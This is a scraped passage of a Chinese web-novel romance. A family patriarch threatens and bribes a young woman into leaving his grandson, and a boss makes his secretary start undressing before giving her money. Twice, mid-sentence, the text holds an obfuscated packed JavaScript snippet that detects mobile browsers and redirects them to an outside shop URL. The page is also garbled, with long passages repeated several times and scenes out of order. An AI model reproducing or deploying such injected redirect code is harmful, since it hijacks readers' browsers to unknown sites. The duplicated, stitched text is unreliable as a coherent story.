她张了张嘴,喉咙干涩得发不出声音,好半晌,才找到自己的声音,“……爷爷?您……说什么?” 傅老爷子闭了闭眼,再睁开时,眼底只剩下沉沉的疲惫和一种近乎冷酷的清明。 “我说,让你离开修沉 。”他重复了一遍,每个字都清晰无比,“解除婚约,从此以后,不要再跟他有任何瓜葛。” “为什么?”明嫣猛地站起身,满脸的不敢置信,“是我做错了什么?还是傅修沉他……” “你没做错什么,也跟修沉没关系!”傅老爷子打断她,语气略显急促。 “那为什么……” “因为陆凛!”还没等明嫣说完,傅老爷子声音陡然提高打断了她的话。 明嫣脸上的表情一僵,怔怔地看着傅老爷子,大脑一片空白。 陆……凛? 怎么会……扯到他? 傅老爷子胸口剧烈起伏,像是说出这句话用尽了他全部的力气。 他看着明嫣眼底的茫然和震惊,心脏像是被一只无形的手狠狠揪紧。 他何尝不心疼这个他从小看到大,几乎当成亲孙女疼爱的丫头? 可是…… 他强迫自己硬起心肠,声音沉缓,字字清晰: “承平虽然该死,但有句话,他说对了。” 他顿了顿,每一个字都像是从喉咙深处艰难地挤出,“陆凛那小子,他对你……的确存了不该有的心思。” 明嫣交叠的双手指尖微微收拢,但面色未变。 陆凛…… 他…… 傅老爷子看着她冷静的模样,心头复杂,语气带着沉重的无奈: “嫣丫头,你是个好孩子,聪明,漂亮,能力强,爷爷一直很欣赏你。” 他声音里带着一丝不易察觉的涩然,“当初知道修沉那小子喜欢你,要跟你订婚,爷爷比谁都高兴,觉得这混小子总算办了件像样的事,找到了这世上最好的姑娘。” 他抬起眼,目光复杂地看着她: “可是,爷爷没想到……你太好了,好到……连陆凛那混不吝的小子,也对你动了心。” 他重重叹了口气: “修沉和陆凛,他们是亲堂兄弟!现在,他们两个……都喜欢上了你。” 他眼神骤然变得锐利而沉重: “傅家走到今天,不容易。外面多少双眼睛盯着,等着看我们笑话,等着我们内乱。” “上次**案,幕后黑手还没揪出来。明氏这次的风波,背后伸过来的手,也没彻底斩断。傅家现在看着风光,实则内忧外患,经不起一点动荡了。” 他盯着明嫣的眼睛,一字一句,带着不容置疑的决绝: “兄弟阋墙,是家族大忌!是取祸之道!为了一个女人,让傅家两根顶梁柱心生嫌隙,甚至 反目成仇……这样的风险,傅家承担不起!我也决不允许!” 明嫣死死咬着下唇,口腔里弥漫开浓郁的血腥味,那尖锐的疼痛让她混沌的大脑获得了一丝清明。 她听明白了。 全都明白了。 不是因为傅承平的污蔑,也不是因为她做错了什么。 仅仅是因为,她成了那个可能引发兄弟相争的“隐患”。 明嫣看着眼前这个曾经慈爱地拍着她头,说要把最好的都给她的老人,此刻却用如此冷静甚至残酷的语气,要求她牺牲掉自己的爱情和未来。 就为了那可笑的家族稳定? 就为了防患于未然? 那她的感情呢? 她和傅修沉之间的一切,又算什么? “所以……”明嫣听到自己的声音在发抖,带着一种破碎的嘶哑,“就因为陆凛那点可能的心思,您就要我离开傅修沉?就要否定我们之间的一切?” 她抬起眼,直视着傅老爷子,那双总是清澈明亮的眼睛里,此刻盈满了水光,却倔强地不肯落下。 “爷爷,您觉得这公平吗?” 傅老爷子被她的目光看得心头一滞,下意识地避开了她的视线。 他何尝不知道这不公平? 对嫣丫头不公平,对修沉也不公平。 可是…… “这世上,本就没有绝对的合理。”他声音干涩,带着身居高位的冷酷和无奈,“坐在我这个位置,首先要考虑的,是整个家族的稳定和延续。个人的感情……在家族利益面前,有时候,必须让步。” 他重新看向她,眼神里带着最后一丝期望,“嫣丫头,爷爷知道这很难。但长痛不如短痛。只要你离开,时间会冲淡一切。陆凛那边,我会想办法让他死心。修沉……他终究是傅家的继承人,他会明白,什么才是他该承担的责任。” 明嫣看着他,看着他眼底那不容置疑的决断,心中最后一点温情彻底冷却。 她忽然觉得无比荒谬。 “责任……”她轻声重复,语气里带着一丝不易察觉的讥诮。 她缓缓站起身,“爷爷,我理解您为傅家考量的立场。” 她顿了顿,每一个字都像是用尽了全身的力气—— “但是,我不同意。” 傅老爷子的瞳孔猛地一缩,脸上瞬间笼罩上一层寒霜。 “明嫣!”他声音沉了下去,带着威压,“这不是你任性的时候!” “我没有任性。”明嫣迎着他慑人的目光 ,没有丝毫退缩,“我和傅修沉在一起,是因为我们彼此相爱,是我们两个人的事。凭什么要因为第三个人那点莫须有的心思,就要我放弃?” “这不是莫须有!”傅老爷子厉声打断,“陆凛他已经魔怔了!为了你,他连傅氏都不要了,连命都可以豁出去!你还要自欺欺人到什么时候?!” “那是他的选择。”明嫣的声音依旧平稳,“不是我的,更不是傅修沉的。为什么要把他的行为后果,强加在我们身上?凭什么要我们来承担?” 她看着傅老爷子,眼神锐利: “爷爷,您口口声声为了傅家,为了兄弟和睦。可您有没有想过,您这样做,对傅修沉意味着什么?” “您让他怎么想?让他以为,他连自己喜欢的女人都护不住,需要靠家族的施舍和您所谓的‘牺牲’来维持那可笑的稳定?您这是在帮他,还是在羞辱他?” 傅老爷子被她问得一时语塞,脸色变幻,握着桌沿的手指微微颤抖。 他何尝没有想过这些? 可是…… “更何况,”明嫣深吸一口气,压下喉咙里的哽咽,声音冷然,“您以为,我离开了,陆凛就会死心吗?傅修沉就会甘心吗?” 她扯出一个极其苦涩的笑容:“您太不了解他们了。” 傅老爷子死死地盯着她,胸膛起伏,显然被她的冷静和毫不妥协激怒了。 耐心耗尽,他眼底最后那点温和彻底消失,只剩下全然的冰冷。 “明嫣,”他连名带姓地叫她,声音像是淬了冰,“我不是在跟你商量。” 他顿了顿,语气带着毫不掩饰的威胁: “如果你执意不肯离开修沉,那么,后果自负。” 明嫣的心猛地一沉:“您想做什么?” 傅老爷子冷冷地看着她,眼神带着居高临下的审视: “明氏集团现在是什么情况,你比我清楚。城东那个项目,如果没有傅氏持续支持,能撑多久?你父亲躺在医院,每天昂贵的医疗费用,明燃一个人能支撑到几时?” 每一个字,都像是一把冰冷的**,精准地捅在明嫣最脆弱的地方。 她脸色瞬间煞白,身体控制不住地微微发抖。 他果然……还是用了这一招。 用明家,用她父亲的命,来逼她就范。 “还有你在魔都刚起步的律所。”傅老爷子继续道,语气平淡却锐利,“年轻人有抱负是好事,但没有足够的资源和背景,想在这地方立足,并不容易。” 他看着明嫣,放缓了语气,带着一种施舍般的“仁慈”: “嫣丫头,爷爷是看着你长大的,不想把事情做绝。只要你点头,主动离开修沉,明家那边,傅家会继续照拂,你父亲的医疗团队,我会用最好的资源支持。你的律所,傅家也可以提供帮助。” “甚至,”他抛出一个更具诱惑力的条件,“我可以正式收你做干孙女,以后,傅家就是你最大的倚仗。” 威逼,利诱。 软硬兼施。 为了达到目的,他毫不吝啬地展示着傅家掌权人的手腕和……冷酷。 明嫣听着这些话,只觉得一股寒气从脚底板直窜头顶,四肢百骸都冰凉刺骨。 她看着眼前这个熟悉又陌生的老人,看着他眼底那毫不掩饰的算计,心脏像是浸入了寒潭。 这就是她曾经敬重、依赖的傅爷爷。 这就是所谓的豪门世家。 在利益和稳定面前,感情是如此的不值一提,随时可以牺牲,可以交易。 她忽然觉得无比疲惫。 所有的争辩,所有的质问,在这一刻,都失去了意义。 她缓缓地垂下眼睫,遮住了眼底翻涌的痛苦和绝望。 再抬起头时,脸上已经没有任何表情,只剩下一种近乎麻木的平静。 “说完了吗?”她问,声音嘶哑,没有任何波澜。 傅老爷子眉头蹙起:“你……” 明嫣却没有再看他,她转过身,背脊挺直。 “您的条件,很丰厚。”她声音平稳,“但是,我不妥协。” 她脚步未停,一字一句,“我和傅修沉,不会因为任何外界压力而分开。” “除非,他亲口对我说,他不要我了。” 说完,她已至门前,伸手拉开了那扇沉重的紫檀木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16795393|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门。 “明嫣!”傅老爷子在她身后厉声喝道,带着被忤逆的震怒,“你想清楚了!走出这个门,傅家不会再给明家任何支持!你和你哥,好自为之!” 明嫣的脚步在门口微微一顿。 她没有回头,只是极淡地牵动了一下唇角。 然后,她迈步而出,反手轻轻带上了门。 “咔哒。” 书房内,重新陷入死寂。 傅老爷子僵立在书桌后,看着那扇紧闭的门,胸口剧烈起伏,脸上是因盛怒而泛起的潮红。 他猛地抬手,将书桌上那方价值连城的端砚狠狠扫落在地! “哐当——!” 砚台砸在地 上,发出沉闷的巨响,墨汁四溅,染黑了名贵的地毯。 他却像毫无所觉,只是死死地盯着那扇门。 不知过了多久,他胸口的起伏才渐渐平复。 盛怒褪去,取而代之的是一种深沉的无力感和浓得化不开的疲惫。 他踉跄着后退两步,跌坐在身后的太师椅上,仿佛一瞬间被抽干了所有力气。 抬手,用力揉着阵阵发痛的眉心。 书房里只剩下他粗重的喘息声,和窗外呼啸而过的寒风。 许久,他发出一声极轻的叹息。 他何尝想这样做? 可是…… 为了傅家的百年基业,为了不让那两个他最看重的孙子自相残杀,他必须把一切危险的苗头,扼杀在摇篮里。 牺牲一个明嫣,换来傅家的稳定和兄弟和睦…… 这笔账,在他看来,值得。 只是…… 心脏的位置传来一阵细密的绞痛。 他缓缓闭上眼,靠在冰凉的椅背上,脸上是掩饰不住的苍老。 他知道,从今天起,那个会叫他“爷爷”的丫头,再也回不来了。 窗外,天色愈发阴沉,似乎又要下雪了。 傅老爷子独自坐在空旷而寂静的书房里,身影萧索。 上,发出沉闷的巨响,墨汁四溅,染黑了名贵的地毯。 他却像毫无所觉,只是死死地盯着那扇门。 不知过了多久,他胸口的起伏才渐渐平复。 盛怒褪去,取而代之的是一种深沉的无力感和浓得化不开的疲惫。 他踉跄着后退两步,跌坐在身后的太师椅上,仿佛一瞬间被抽干了所有力气。 抬手,用力揉着阵阵发痛的眉心。 书房里只剩下他粗重的喘息声,和窗外呼啸而过的寒风。 许久,他发出一声极轻的叹息。 他何尝想这样做? 可是…… 为了傅家的百年基业,为了不让那两个他最看重的孙子自相残杀,他必须把一切危险的苗头,扼杀在摇篮里。 牺牲一个明嫣,换来傅家的稳定和兄弟和睦…… 这笔账,在他看来,值得。 只是…… 心脏的位置传来一阵细密的绞痛。 他缓缓闭上眼,靠在冰凉的椅背上,脸上是掩饰不住的苍老。 他知道,从今天起,那个会叫他“爷爷”的丫头,再也回不来了。 窗外,天色愈发阴沉,似乎又要下雪了。 傅老爷子独自坐在空旷而寂静的书房里,身影萧索。 上,发出沉闷的巨响,墨汁四溅,染黑了名贵的地毯。 他却像毫无所觉,只是死死地盯着那扇门。 不知过了多久,他胸口的起伏才渐渐平复。 盛怒褪去,取而代之的是一种深沉的无力感和浓得化不开的疲惫。 他踉跄着后退两步,跌坐在身后的太师椅上,仿佛一瞬间被抽干了所有力气。 抬手,用力揉着阵阵发痛的眉心。 书房里只剩下他粗重的喘息声,和窗外呼啸而过的寒风。 许久,他发出一声极轻的叹息。 他何尝想这样做? 可是…… 为了傅家的百年基业,为了不让那两个他最看重的孙子自相残杀,他必须把一切危险的苗头,扼杀在摇篮里。 牺牲一个明嫣,换来傅家的稳定和兄弟和睦…… 这笔账,在他看来,值得。 只是…… 心脏的位置传来一阵细密的绞痛。 他缓缓闭上眼,靠在冰凉的椅背上,脸上是掩饰不住的苍老。 他知道,从今天起,那个会叫他“爷爷”的丫头,再也回不来了。 窗外,天色愈发阴沉,似乎又要下雪了。 傅老爷子独自坐在空旷而寂静的书房里,身影萧索。 上,发出沉闷的巨响,墨汁四溅,染黑了名贵的地毯。 他却像毫无所觉,只是死死地盯着那扇门。 不知过了多久,他胸口的起伏才渐渐平复。 盛怒褪去,取而代之的是一种深沉的无力感和浓得化不开的疲惫。 他踉跄着后退两步,跌坐在身后的太师椅上,仿佛一瞬间被抽干了所有力气。 抬手,用力揉着阵阵发痛的眉心。 书房里只剩下他粗重的喘息声,和窗外呼啸而过的寒风。 许久,他发出一声极轻的叹息。 他何尝想这样做? 可是…… 为了傅家的百年基业,为了不让那两个他最看重的孙子自相残杀,他必须把一切危险的苗头,扼杀在摇篮里。 牺牲一个明嫣,换来傅家的稳定和兄弟和睦…… 这笔账,在他看来,值得。 只是…… 心脏的位置传来一阵细密的绞痛。 他缓缓闭上眼,靠在冰凉的椅背上,脸上是掩饰不住的苍老。 他知道,从今天起,那个会叫他“爷爷”的丫头,再也回不来了。 窗外,天色愈发阴沉,似乎又要下雪了。 傅老爷子独自坐在空旷而寂静的书房里,身影萧索。 第199章 脱衣服!(二合一大章) 唐微微手受伤后,明燃给她放了一周的假。 只是,她休息了三天,等到手上的伤口结痂就直接来上班了。 周瑾倒是个有眼力见儿的,知道她是‘护驾有功’,也没给她多余安排工作,甚至还把她手头上不少需要用手操作的活都接了过去。 而临近的时候,唐微微忙完手头上的工作,刚准备收拾东西下班的时候,内线电话却突兀地响了起来。 “你,进来。”是明燃的声音。 唐微微心头一紧,连忙起身进了总裁办公室。 明燃似乎也刚结束工作,正站在落地窗前,背对着她。 窗外是璀璨的都市夜景,将他挺拔的身影勾勒得愈发孤峭。 “明总,您还有什么吩咐?” 明燃转过身,手里拿着一个文件夹,走到她面前。 距离有些近,唐微微能闻到他身上清冽的烟草味混合着一点冷冽的木质香气。 “明天上午十点,跟我去趟临市出差,见个客户。”他将文件夹递给她,“这是资料,今晚熟悉一下。” 唐微微愣住了。 出差? 这么突然? 而且……和他一起? “我……”她张了张嘴,心跳莫名加速。 这是一个机会。 接近他的机会。 “有问题?”明燃挑眉,目光锐利地看着她,那眼神仿佛能穿透她所有心思。 “……没有。”她接过文件夹,指尖冰凉。 明燃的视线不经意般扫过她低垂的眼眸,唇角勾起一丝冷笑,“回去准备吧。” …… 第二天,司机开车,载着明燃和唐微微前往临市。 车内空间宽敞,但唐微微却觉得无比压抑。 她拘谨地坐在靠窗的位置,尽量缩小自己的存在感,偏头看着窗外飞速**的景物。 明燃坐在她旁边,闭目养神。 他今天穿了一身深蓝色西装,没系领带,衬衫领口随意地敞开着,少了几分平日的严肃,多了些慵懒随性,但那迫人的气场依旧存在。 唐微微能感觉到他的存在感,强烈得让她无法忽视。 他身上好闻的气息丝丝缕缕地飘过来,搅得她心绪不宁。 她悄悄抬眼,飞快地瞥了他一眼。 他闭着眼睛,睫毛很长,鼻梁高挺,下颌线条流畅而冷硬。 不得不承认,他长得极好,只是那周身的气场太冷,让人不敢靠近。 似乎察 觉到她的视线,明燃忽然睁开了眼睛。 目光相撞的瞬间,唐微微像被烫到一样,猛地转回头,心脏狂跳,脸颊不受控制地发热。 明燃看着她瞬间泛红的耳根,眼底掠过一丝极淡的,几乎看不见的玩味。 到了临市,见客户的过程还算顺利。 唐微微努力扮演好秘书的角色,记录,端茶递水,尽量降低存在感。 客户是个中年男人,席间目光时不时落在唐微微身上,带着某种让她不舒服的打量。 “明总,您这位秘书很能干啊,又年轻漂亮。”客户笑着,意有所指。 明燃端起茶杯,淡淡一笑,没接话,那笑容未达眼底。 唐微微感到一阵恶心,只能强装镇定。 饭后,客户提议去附近的会所放松一下,眼神暧昧地在唐微微身上打转。 明燃放下茶杯,语气疏离:“不了,李总。我们今晚还要赶回魔都,公司还有事。” 客户脸上闪过一丝失望,但也没再强求。 回酒店的路上,唐微微心里松了口气,同时对明燃有了一丝微妙的感激。 至少,他没有顺势将她推出去。 这次出差订的是两间房,就在隔壁。 回到酒店楼层,明燃将房卡递给唐微微,语气依旧平淡:“早点休息,明早七点大堂见。” “好的,明总。”唐微微接过房卡,看着他刷开自己的房门走进去,关上门,她才松了口气,感觉一直紧绷的神经终于可以稍微放松一些。 她回到自己房间,疲惫地洗了个热水澡,感觉浑身的骨头都像散了架。 躺在床上,她却毫无睡意,今天发生的一切在脑子里回放。 就在这时,手机响了,是医院打来的。 “唐小姐,您母亲后续的治疗方案已经确定了,费用方面……需要您尽快准备第一笔款,五十万。最迟明天,否则我们只能暂停一些非紧急的药物了……” 五十万…… 唐微微握着手机,手指冰凉,巨大的压力让她几乎喘不过气。 她去哪里弄这么多钱? 挂了电话,她在黑暗中坐了许久,直到四肢都冻得麻木。 眼泪无声地滑落,滴在手背上,冰凉一片。 她擦掉眼泪,眼神逐渐变得空洞而坚定。 没有退路了。 她深吸一口气,抬手,解开了睡衣最上面的两颗扣子,露出纤细的锁骨和一小片莹润的肌肤。 然后,她走出房间,来到了 明燃的房门外。 犹豫只在刹那,她抬手,按响了门铃。 过了一会儿,门开了。 明燃似乎也刚洗完澡,穿着深灰色的丝质睡袍,腰带松松系着,露出小片紧实的胸膛。 黑发半干,有些凌乱地搭在额前,卸下了平日的冷硬,多了几分慵懒的性感。 他手里拿着毛巾,正擦拭着头发,看到门外的她,动作顿住,眼神锐利地眯起。 “有事?”他的声音带着沐浴后的微哑,比平时更低沉,在这寂静的走廊里,莫名有种撩人的磁性。 唐微微的心脏快要跳出胸腔,她强迫自己迎上他的目光,声音带着不易察觉的颤抖:“明总……我,我有些工作上的问题,想请教您。” 这话漏洞百出,现在这个时间,讨论工作? 明燃的目光在她脸上停留了几秒,然后缓缓下移,掠过她解开的扣子,那片裸露的肌肤在走廊昏暗的光线下,白得晃眼。 他嘴角几不可察地勾起一抹冰冷的弧度。 呵,终于忍不住了? 他没说话,只是侧身,让开了门口。 唐微微硬着头皮,走了进去。 房门在身后关上,发出轻微的“咔哒”声。 套房很大,空气中弥漫着和他身上一样的清冽气息,混合着刚沐浴过的水汽,暖昧又危险。 明燃走到沙发边坐下,将毛巾随手扔在一旁,长腿交叠,睡袍下摆因为他随意的坐姿而微微敞开,露出线条流畅的小腿。 他抬眸看她,眼神像打量货物:“什么问题,说吧。” 唐微微站在客厅中央,手足无措。 他根本不按常理出牌,这让她准备好的所有说辞都卡在了喉咙里。 她在他极具压迫感的目光下,几乎无所遁形。 “我……”她张了张嘴,却发不出声音。 脸颊因为羞耻和紧张而滚烫。 明燃耐心似乎耗尽,他站起身,朝她走来。 他一步步靠近,高大的身影将她完全笼罩。 唐微微下意识地后退,脚跟却抵住了冰冷的墙壁,退无可退。 他停在她面前,距离近得能感受到他身上散发出的热意,和他目光里毫不掩饰的侵略性。 “不是有问题要问?”他低头,气息拂过她的额头,声音低沉,带着蛊惑,又藏着冷意,“还是说……这就是你的问题?” 唐微微浑身僵硬,心脏狂跳,几乎要窒息。 他眼神太深,太暗,像漩涡,要将她 吞噬。 她攥紧了手指,指甲深深陷进掌心的纱布里,疼痛让她稍微清醒。 “我……我需要一笔钱。”终于说出来了,声音抖得不成样子。 明燃抬眸,终于正眼看向她。 “多少?” “二十……二十万。”她几乎是用尽了全身力气。 房间里陷入死寂。 只有彼此呼吸声可闻。 他极轻地笑了一声,那笑声里没什么温度,只有浓浓的嘲弄。 “唐微微,”他叫她的全名,每个字都像冰珠砸在地上,“你觉得,你值这个价吗?” 轰—— 唐微微脸上最后一点血色也褪尽了。 难堪,羞耻,像无数细密的针,扎遍全身。 她站在那里,感觉自己像个被剥光了衣服等待估价的小丑。 他看着她瞬间惨白的脸,眼底没有任何波动,只有更深的冷意。 “不是需要钱吗?”他声音低沉,带着一种残忍的玩味,“让我看看,你凭什么觉得,你能从我这里拿走二十万。” 他顿了顿,目光落在她微微颤抖的身体上,吐出三个字: “脱衣服。” 唐微微猛地抬头,难以置信地看着他。 他坐在光影里,面容俊美,眼神却像淬了毒的寒冰。 她浑身都在抖,牙齿不受控制地打颤。 “怎么?不愿意?”他挑眉,语气轻慢,“那就滚出去。” 滚出去…… 妈妈的脸在她眼前晃动,护士冰冷的催促在耳边回响。 她闭上眼,滚烫的泪水从眼角滑落。 再睁开时,眼底只剩下麻木的空洞。 手指颤抖地抬起,落在睡裙的第一颗扣子上。 丝质布料冰凉,她的指尖更冷。 一颗,两颗…… 睡裙的领口松开来,露出纤细的锁骨和一小片白皙的肌肤。 凉意瞬间侵袭,激起一层细小的疙瘩。 她能感觉到他落在她身上的目光,没有任何情欲,只有冰冷的审视。 当她颤抖着手,准备解开第三颗扣子时—— “够了。” 明燃的声音响起,打断了她近乎自虐的动作。 她僵在原地,不敢动。 他掀开被子下床,走到书桌旁,从钱夹里抽出一张卡,然后转身,几步走到她面前。 “拿着。”他将卡递到她眼前,“就当是……给你挡那一刀的医药费。” 唐微微看着那张卡,像是看着什么烫手的东西,没有立刻去接。 “不要?”明燃作势要收回。 她几乎是抢一般地将卡抓了过来,冰凉的卡片硌在掌心,带来尖锐的刺痛。 “滚吧。”他转过身,不再看她,声音里带着彻底的厌倦。 唐微微攥紧了那张卡,指甲几乎要将其折断。 她深深地看了他一眼,他挺拔的背影在昏黄光线下显得格外冷漠。 她拉拢睡裙,手指颤抖地系上扣子,然后像逃离什么瘟疫一样,快步冲回了自己的房间。 门关上的瞬间,她背靠着门板滑坐在地,压抑的哭声终于破碎地溢了出来。 手里那张卡,像烧红的烙铁,烫得她灵魂都在颤抖。 …… 第二天,返程的车上。 气氛压抑得能拧出水来。 明燃坐在后座,闭目养神,侧脸线条冷硬。 唐微微坐在副驾驶,尽量缩小自己的存在感。 眼睛还有些肿,她低着头,看着自己放在膝盖上的手,左手包裹着厚厚的纱布,右手则紧紧攥着口袋里的那张卡。 车厢里只有引擎低沉的轰鸣。 许久,她像是下定了决心,声音很轻,却清晰地打破了沉寂:“明总……那笔钱,我会还给您的。” 明燃缓缓睁开眼,透过后视镜,能看到她低垂的头顶和紧绷的侧脸。 他扯了扯嘴角,刚想说什么—— 一阵突兀的手机铃声打断了他。 他蹙眉,拿出手机,看到来电显示,脸色微凝。 “说。” 电话那头不知道说了什么,明燃的脸色以肉眼可见的速度沉了下去,眼神骤然变得锐利。 “傅家资金断裂?”他声音压得很低,带着一丝难以置信的冷沉,“消息确定吗?” …… 而此时的明嫣也得到了傅家切断资金链的消息,她正准备给大哥明燃打个电话,问问公司的情况。 可刚拿出手机,就听见外面客厅传来细微的动静。 她心头一动,以为是傅修沉回来了。 她推开卧室门走出去,“你怎么这么早就回……” 话音戛然而止。 客厅沙发上,傅老爷子端坐着,双手交叠放在拐杖上,神色平静,却自带一股不怒自威的气场。 福伯和两名穿着黑色西装的保镖安静地站在他身后。 明嫣脸上的笑容瞬间僵住,脚步也顿在了原地。 傅老爷子抬了抬手,福伯和两名保镖立刻会意,无声地退了出去,并轻轻带上了公寓门。 偌大的客厅,只剩下他们两人。 空气瞬间变得凝滞。 明嫣看着傅老爷子,心脏一点点沉下去。 傅老爷子目光平静地看向她,开门见山,声音不高,却带着沉甸甸的压力:“嫣丫头,你应该知道我为什么来。” 明嫣抿紧了唇,没说话,只是眸色冷了些。 “明氏那边,资金链出问题了吧?”他语气没什么起伏,“这只是个警告。” 他顿了顿,目光锐利如鹰隼,紧紧锁住她,“如果你还是不听劝告,执意要跟修沉在一起……” 后面的话他没说完,但威胁的意味不言而喻。 明嫣只觉得一股寒意从心底窜起,瞬间蔓延至四肢百骸…… 唐微微看着那张卡,像是看着什么烫手的东西,没有立刻去接。 “不要?”明燃作势要收回。 她几乎是抢一般地将卡抓了过来,冰凉的卡片硌在掌心,带来尖锐的刺痛。 “滚吧。”他转过身,不再看她,声音里带着彻底的厌倦。 唐微微攥紧了那张卡,指甲几乎要将其折断。 她深深地看了他一眼,他挺拔的背影在昏黄光线下显得格外冷漠。 她拉拢睡裙,手指颤抖地系上扣子,然后像逃离什么瘟疫一样,快步冲回了自己的房间。 门关上的瞬间,她背靠着门板滑坐在地,压抑的哭声终于破碎地溢了出来。 手里那张卡,像烧红的烙铁,烫得她灵魂都在颤抖。 …… 第二天,返程的车上。 气氛压抑得能拧出水来。 明燃坐在后座,闭目养神,侧脸线条冷硬。 唐微微坐在副驾驶,尽量缩小自己的存在感。 眼睛还有些肿,她低着头,看着自己放在膝盖上的手,左手包裹着厚厚的纱布,右手则紧紧攥着口袋里的那张卡。 车厢里只有引擎低沉的轰鸣。 许久,她像是下定了决心,声音很轻,却清晰地打破了沉寂:“明总……那笔钱,我会还给您的。” 明燃缓缓睁开眼,透过后视镜,能看到她低垂的头顶和紧绷的侧脸。 他扯了扯嘴角,刚想说什么—— 一阵突兀的手机铃声打断了他。 他蹙眉,拿出手机,看到来电显示,脸色微凝。 “说。” 电话那头不知道说了什么,明燃的脸色以肉眼可见的速度沉了下去,眼神骤然变得锐利。 “傅家资金断裂?”他声音压得很低,带着一丝难以置信的冷沉,“消息确定吗?” …… 而此时的明嫣也得到了傅家切断资金链的消息,她正准备给大哥明燃打个电话,问问公司的情况。 可刚拿出手机,就听见外面客厅传来细微的动静。 她心头一动,以为是傅修沉回来了。 她推开卧室门走出去,“你怎么这么早就回……” 话音戛然而止。 客厅沙发上,傅老爷子端坐着,双手交叠放在拐杖上,神色平静,却自带一股不怒自威的气场。 福伯和两名穿着黑色西装的保镖安静地站在他身后。 明嫣脸上的笑容瞬间僵住,脚步也顿在了原地。 傅老爷子抬了抬手,福伯和两名保镖立刻会意,无声地退了出去,并轻轻带上了公寓门。 偌大的客厅,只剩下他们两人。 空气瞬间变得凝滞。 明嫣看着傅老爷子,心脏一点点沉下去。 傅老爷子目光平静地看向她,开门见山,声音不高,却带着沉甸甸的压力:“嫣丫头,你应该知道我为什么来。” 明嫣抿紧了唇,没说话,只是眸色冷了些。 “明氏那边,资金链出问题了吧?”他语气没什么起伏,“这只是个警告。” 他顿了顿,目光锐利如鹰隼,紧紧锁住她,“如果你还是不听劝告,执意要跟修沉在一起……” 后面的话他没说完,但威胁的意味不言而喻。 明嫣只觉得一股寒意从心底窜起,瞬间蔓延至四肢百骸…… 唐微微看着那张卡,像是看着什么烫手的东西,没有立刻去接。 “不要?”明燃作势要收回。 她几乎是抢一般地将卡抓了过来,冰凉的卡片硌在掌心,带来尖锐的刺痛。 “滚吧。”他转过身,不再看她,声音里带着彻底的厌倦。 唐微微攥紧了那张卡,指甲几乎要将其折断。 她深深地看了他一眼,他挺拔的背影在昏黄光线下显得格外冷漠。 她拉拢睡裙,手指颤抖地系上扣子,然后像逃离什么瘟疫一样,快步冲回了自己的房间。 门关上的瞬间,她背靠着门板滑坐在地,压抑的哭声终于破碎地溢了出来。 手里那张卡,像烧红的烙铁,烫得她灵魂都在颤抖。 …… 第二天,返程的车上。 气氛压抑得能拧出水来。 明燃坐在后座,闭目养神,侧脸线条冷硬。 唐微微坐在副驾驶,尽量缩小自己的存在感。 眼睛还有些肿,她低着头,看着自己放在膝盖上的手,左手包裹着厚厚的纱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797989|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 布,右手则紧紧攥着口袋里的那张卡。 车厢里只有引擎低沉的轰鸣。 许久,她像是下定了决心,声音很轻,却清晰地打破了沉寂:“明总……那笔钱,我会还给您的。” 明燃缓缓睁开眼,透过后视镜,能看到她低垂的头顶和紧绷的侧脸。 他扯了扯嘴角,刚想说什么—— 一阵突兀的手机铃声打断了他。 他蹙眉,拿出手机,看到来电显示,脸色微凝。 “说。” 电话那头不知道说了什么,明燃的脸色以肉眼可见的速度沉了下去,眼神骤然变得锐利。 “傅家资金断裂?”他声音压得很低,带着一丝难以置信的冷沉,“消息确定吗?” …… 而此时的明嫣也得到了傅家切断资金链的消息,她正准备给大哥明燃打个电话,问问公司的情况。 可刚拿出手机,就听见外面客厅传来细微的动静。 她心头一动,以为是傅修沉回来了。 她推开卧室门走出去,“你怎么这么早就回……” 话音戛然而止。 客厅沙发上,傅老爷子端坐着,双手交叠放在拐杖上,神色平静,却自带一股不怒自威的气场。 福伯和两名穿着黑色西装的保镖安静地站在他身后。 明嫣脸上的笑容瞬间僵住,脚步也顿在了原地。 傅老爷子抬了抬手,福伯和两名保镖立刻会意,无声地退了出去,并轻轻带上了公寓门。 偌大的客厅,只剩下他们两人。 空气瞬间变得凝滞。 明嫣看着傅老爷子,心脏一点点沉下去。 傅老爷子目光平静地看向她,开门见山,声音不高,却带着沉甸甸的压力:“嫣丫头,你应该知道我为什么来。” 明嫣抿紧了唇,没说话,只是眸色冷了些。 “明氏那边,资金链出问题了吧?”他语气没什么起伏,“这只是个警告。” 他顿了顿,目光锐利如鹰隼,紧紧锁住她,“如果你还是不听劝告,执意要跟修沉在一起……” 后面的话他没说完,但威胁的意味不言而喻。 明嫣只觉得一股寒意从心底窜起,瞬间蔓延至四肢百骸…… 唐微微看着那张卡,像是看着什么烫手的东西,没有立刻去接。 “不要?”明燃作势要收回。 她几乎是抢一般地将卡抓了过来,冰凉的卡片硌在掌心,带来尖锐的刺痛。 “滚吧。”他转过身,不再看她,声音里带着彻底的厌倦。 唐微微攥紧了那张卡,指甲几乎要将其折断。 她深深地看了他一眼,他挺拔的背影在昏黄光线下显得格外冷漠。 她拉拢睡裙,手指颤抖地系上扣子,然后像逃离什么瘟疫一样,快步冲回了自己的房间。 门关上的瞬间,她背靠着门板滑坐在地,压抑的哭声终于破碎地溢了出来。 手里那张卡,像烧红的烙铁,烫得她灵魂都在颤抖。 …… 